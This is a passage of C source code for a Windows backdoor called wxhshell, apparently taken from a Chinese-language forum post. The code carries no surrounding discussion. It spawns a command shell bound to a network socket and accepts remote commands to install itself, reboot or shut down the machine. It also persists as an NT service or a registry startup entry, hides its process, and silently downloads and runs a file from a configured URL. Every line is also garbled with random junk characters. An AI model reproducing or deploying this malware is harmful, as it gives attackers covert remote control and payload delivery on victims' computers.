    switch(cmd[0]) { UnZc9 6  
  W yP]]I.  
  // 帮助 zTn.#-7y  
  case '?': { --vJR/-  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Pn ?gB}l  
    break; }JUc!cH8z  
  } ,OkI0[  
  // 安装 GN+,9  
  case 'i': { n (Um/  
    if(Install()) sr<\fW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); PFbkkQKsT  
    else ++|e z{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,L\KS^>  
    break; 9S5C{~P4  
    } O4^' H}*  
  // 卸载 b: I0Zv6  
  case 'r': { tCj\U+;  
    if(Uninstall()) |uJjO>8]|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); oRmA\R*  
    else GIS,EwA  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _( QW2m?K  
    break; *M$$%G(4  
    } E7<l^/<2S+  
  // 显示 wxhshell 所在路径 9SU/ 86|N  
  case 'p': { >5t]Zlb`  
    char svExeFile[MAX_PATH]; LO%OH u}]  
    strcpy(svExeFile,"\n\r"); _akpW  
      strcat(svExeFile,ExeFile); m9ky?A,  
        send(wsh,svExeFile,strlen(svExeFile),0); PoRP]Q*n  
    break; pA\"Xe&  
    } @~i : 8  
  // 重启 +a+DiD>./  
  case 'b': { v#5hK<9  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 8'Q&FW3"  
    if(Boot(REBOOT)) ,jy9\n*<t9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q_k'7Z\g$  
    else { Z v 7}C  
    closesocket(wsh); ]-OF3+l4  
    ExitThread(0); zpcO7AY~  
    } @|d`n\%x  
    break; j:2*hF!E  
    } l% {<+N  
  // 关机 d @b ]/  
  case 'd': { uJ3*AO  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ;"NW= P&  
    if(Boot(SHUTDOWN)) J(,{ -d-E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); cfc=a  
    else { ypTH=]y  
    closesocket(wsh); Rvj[Csgi  
    ExitThread(0); T7(U6yN  
    } iu`B8yI  
    break; T^2o' _:  
    } q9nQ/]rkHF  
  // 获取shell MX|@x~9W  
  case 's': { _u#r;h[  
    CmdShell(wsh); VexQ ]  
    closesocket(wsh); (%4O\ s#l  
    ExitThread(0); VE^IA\J x  
    break; X/D% cQ6  
  } E/C3t2@-  
  // 退出 \"+}-!wr  
  case 'x': { 07vzVsQ}p  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); <07~EP  
    CloseIt(wsh); }x"8v&3CM_  
    break; jf=90eJc  
    } #\6k_toZ  
  // 离开 yONX?cS  
  case 'q': { 3nx*M=  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); f3mQd}<L  
    closesocket(wsh); Co:Rg@i(F  
    WSACleanup(); r <$"T  
    exit(1); 0E^S!A 7  
    break; |_16IEJ  
        } dF+:9iiAm  
  } 2'}/aL|G  
  } v2vtkYQN  
2&2t8.<  
  // 提示信息 ;Hu`BFXyD  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); I5W#8g!{  
} i(S}gH4*o  
  } bG]?AiW r  
3Io7!:+  
  return; xp]_>WGq  
} B~u`bn,iQ  
jjg[v""3|  
// shell模块句柄 "X-"uIc  
int CmdShell(SOCKET sock) 2nI^fVR%\  
{ uh3<%9#\k  
STARTUPINFO si; H  `_{n<  
ZeroMemory(&si,sizeof(si)); c,5yH  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; L ?S#3@Pa  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; -'j|U[&N\  
PROCESS_INFORMATION ProcessInfo; *,Sa*-7(  
char cmdline[]="cmd"; `m-7L  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); )fbYP@9>a  
  return 0; ?b?YiK&yz  
} AN+S6t  
o_.`&Q6n  
// 自身启动模式 %WFZ&>en&  
int StartFromService(void) YDGW]T]i ?  
{ v(Q-RR  
typedef struct E&\ 0+-Dw  
{ 28lor&Cc  
  DWORD ExitStatus; #!w7E,UBi  
  DWORD PebBaseAddress; v3r<kNW_  
  DWORD AffinityMask; X>Y>1fI.  
  DWORD BasePriority; ov|pXi<e  
  ULONG UniqueProcessId; ,BlNj^5f  
  ULONG InheritedFromUniqueProcessId; knRs{1}Pw{  
}   PROCESS_BASIC_INFORMATION; ^x}k1F3  
B?;P:!/1  
PROCNTQSIP NtQueryInformationProcess; Jy-V\.N>s  
8LGNV&Edg  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; !4T7@V`G  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; e^-CxHwA-  
~L9I@(/ S  
  HANDLE             hProcess; LbnW(wr6:(  
  PROCESS_BASIC_INFORMATION pbi; G g{M  
OsgjSJrf  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); "E7YCZQR  
  if(NULL == hInst ) return 0; ;Lk07+3G  
~lr,}K,  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); _O`s;oc  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ' -rRD\"q  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ]=(PtzVa  
.\"8H1I\T  
  if (!NtQueryInformationProcess) return 0; ?PU7xO;_  
\mNN ) K@  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Vv*](iM  
  if(!hProcess) return 0; 8]l(D  
vFi+ExBU  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; fD2 )/5j1  
T!t9`I0Zz  
  CloseHandle(hProcess); otdm r w|  
X=%e'P*X  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); t+A9nvj)  
if(hProcess==NULL) return 0; M)sAMfuUw  
r!/<%\S  
HMODULE hMod; "_n})s f  
char procName[255]; <!derr-K  
unsigned long cbNeeded; I$oqFF|D  
Pr#uV3\  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); __,F_9M  
!OMl-:KUzE  
  CloseHandle(hProcess); /2:s g1  
1 ( rN  
if(strstr(procName,"services")) return 1; // 以服务启动 $[+)N ~  
G/yYIs  
  return 0; // 注册表启动 sQLjb8!7  
} /q?g py  
Gw+pjSJL`  
// 主模块 "; mlQyP  
int StartWxhshell(LPSTR lpCmdLine) !qug^F  
{ #?7g_  
  SOCKET wsl; ?~tx@k$;Es  
BOOL val=TRUE; f<3lxu  
  int port=0; af}JS2=$  
  struct sockaddr_in door; wfQImCZ>l  
P$&l1Mp  
  if(wscfg.ws_autoins) Install(); }hS$F  
O+ xzM[[  
port=atoi(lpCmdLine); PySFhb@  
yMJ(Sf  
if(port<=0) port=wscfg.ws_port; =!DpWVsQ  
m Q^SpK #  
  WSADATA data; xtzkgb,0[  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Ui`#B  
>lF@M-  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ricL.[v9S  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ) RNB;K~s9  
  door.sin_family = AF_INET; ma@!"Z8 S  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); JHg y&/  
  door.sin_port = htons(port); [rReBgV  
\/R $p  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ln_[@K[oX  
closesocket(wsl); a.fdCI]%  
return 1; S#S&_#$`,X  
} mi@ni+2Tn  
!JA//{?  
  if(listen(wsl,2) == INVALID_SOCKET) { T%SK";PAU$  
closesocket(wsl); u0nIr9  
return 1; -v$ q8_$m"  
} #hXxrN  
  Wxhshell(wsl); R_Z 9aQ  
  WSACleanup(); TVAa/_y2`  
Fmzkbt~oe  
return 0; XUTsW,WC  
o&>aYlXd  
} 06[HE7  
^m-w@0^z  
// 以NT服务方式启动 'Ej+Jczzpp  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) UvuA N:'  
{ X u2+TK  
DWORD   status = 0; OtoG,~?  
  DWORD   specificError = 0xfffffff; 'ji|'x T  
oObQN;A@6  
  serviceStatus.dwServiceType     = SERVICE_WIN32; xMFEeSzl>S  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; sCE%./h]  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; g1)ZjABV  
  serviceStatus.dwWin32ExitCode     = 0; ~%@1-  
  serviceStatus.dwServiceSpecificExitCode = 0; FA{(gib@9  
  serviceStatus.dwCheckPoint       = 0; $>rKm  
  serviceStatus.dwWaitHint       = 0; +HlZ ?1g  
9hjzOJPuga  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); nxe9^h7m  
  if (hServiceStatusHandle==0) return; C@u}tH )  
Op:$7hv  
status = GetLastError(); Bv#?.0Ez;  
  if (status!=NO_ERROR)  huvn_  
{ 'u6n,yRm  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; a&u!KAQ  
    serviceStatus.dwCheckPoint       = 0; %uvA3N>  
    serviceStatus.dwWaitHint       = 0; $f+cd8j?o  
    serviceStatus.dwWin32ExitCode     = status; 2Q;rSe._`  
    serviceStatus.dwServiceSpecificExitCode = specificError; |BXp`  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); @Y!B~  
    return; e'.CIspN  
  } C]Q}HI#G  
P2)/!+`a  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 3ej[  
  serviceStatus.dwCheckPoint       = 0; ^#U[v7y  
  serviceStatus.dwWaitHint       = 0; se*k56,  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); >v )V2,P -  
} < Df2  
4<Kxo\\S  
// 处理NT服务事件,比如:启动、停止 M9?f`9  
VOID WINAPI NTServiceHandler(DWORD fdwControl) F:8@ ]tA&  
{ Q+s2S>U{v  
switch(fdwControl) d '\ ^S}  
{ 0 gR_1~3  
case SERVICE_CONTROL_STOP: S }qGf%  
  serviceStatus.dwWin32ExitCode = 0; rA}mp]  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; k+~2 vmS  
  serviceStatus.dwCheckPoint   = 0; (,b\"Q  
  serviceStatus.dwWaitHint     = 0; p!K^Q3kO  
  { B_>r|^Vh  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); g!^mewtd  
  } _} K3}}  
  return; P3v4!tR  
case SERVICE_CONTROL_PAUSE: PW\me7iCz  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ,s/laZ)V  
  break; FcyF E~>2  
case SERVICE_CONTROL_CONTINUE: "^wIixOH5  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ;7*T6~tv  
  break; yw{r:fy  
case SERVICE_CONTROL_INTERROGATE: X$_pDF&\z  
  break; {u4AOM=)  
}; yQf(/Uxk*x  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Adgfo)X5  
} ^DVryeLD  
e$E>6Ngsr  
// 标准应用程序主函数 jwSPLq%  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ,.0B0Y-X  
{ D;[%*q*  
/4|_A {m{m  
// 获取操作系统版本 )&l5I4CIf  
OsIsNt=GetOsVer(); (L:Mdo  
GetModuleFileName(NULL,ExeFile,MAX_PATH); uzh TNf  
H-mQ{K^  
  // 从命令行安装 stiYC#bI:  
  if(strpbrk(lpCmdLine,"iI")) Install(); AuZISb%6  
\i\>$'f*z  
  // 下载执行文件 p3e=~{v*  
if(wscfg.ws_downexe) { ^tIYr <I  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 4/OmgBo '  
  WinExec(wscfg.ws_filenam,SW_HIDE); PsOq-  
} }z qo<o  
4BeHj~~  
if(!OsIsNt) { k{U[ U1j  
// 如果时win9x,隐藏进程并且设置为注册表启动 )Br#R:#  
HideProc(); |(CgX6 l3  
StartWxhshell(lpCmdLine); >=;hnLu  
} `U&'71B^  
else O%w'n z"  
  if(StartFromService()) 204"\ mv  
  // 以服务方式启动 #qv!1$}2  
  StartServiceCtrlDispatcher(DispatchTable); u=Xpu,q  
else P"o|kRO  
  // 普通方式启动 *$Zy|&[Z  
  StartWxhshell(lpCmdLine); +O^}  t  
u?F.%j-  
return 0; 2*a9mi  
}
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只看该作者 1 发表于: 2006-10-10
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